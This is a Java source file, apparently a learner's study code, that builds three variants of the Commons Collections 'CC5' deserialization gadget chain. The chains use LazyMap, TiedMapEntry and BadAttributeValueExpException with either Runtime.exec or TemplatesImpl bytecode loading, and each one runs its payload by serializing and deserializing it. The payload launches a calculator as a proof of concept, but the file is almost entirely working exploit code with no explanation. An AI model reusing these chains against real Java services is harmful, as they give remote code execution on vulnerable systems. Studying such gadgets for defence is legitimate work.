1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182
| package org.cclearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class cc5Learn {
public static void cc5_1() throws Exception { String cmd="open -a Calculator.app"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; ChainedTransformer ct=new ChainedTransformer(transformers);
HashMap<String, Object> hashMap = new HashMap<>(); LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass(); Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val"); valueField.setAccessible(true); valueField.set(badAttributeValueExpException, tiedMapEntry);
String fileName = Serialize.serialize(badAttributeValueExpException); Serialize.deserialize(fileName);
}
public static void cc5_2() throws Exception { TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
}catch (Exception e){ e.printStackTrace(); }
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<String, Object> hashMap = new HashMap<>(); LazyMap lazyMap = LazyMap.lazyMap(hashMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass(); Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val"); valueField.setAccessible(true); valueField.set(badAttributeValueExpException, tiedMapEntry);
String fileName = Serialize.serialize(badAttributeValueExpException); Serialize.deserialize(fileName);
}
public static void cc5_1_2() throws Exception { TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
}catch (Exception e){ e.printStackTrace(); }
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer ct=new ChainedTransformer(transformers);
HashMap<String, Object> hashMap = new HashMap<>(); LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass(); Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val"); valueField.setAccessible(true); valueField.set(badAttributeValueExpException, tiedMapEntry);
String fileName = Serialize.serialize(badAttributeValueExpException); Serialize.deserialize(fileName);
}
public static void main(String[] args) throws Exception { cc5_1_2();
} }
|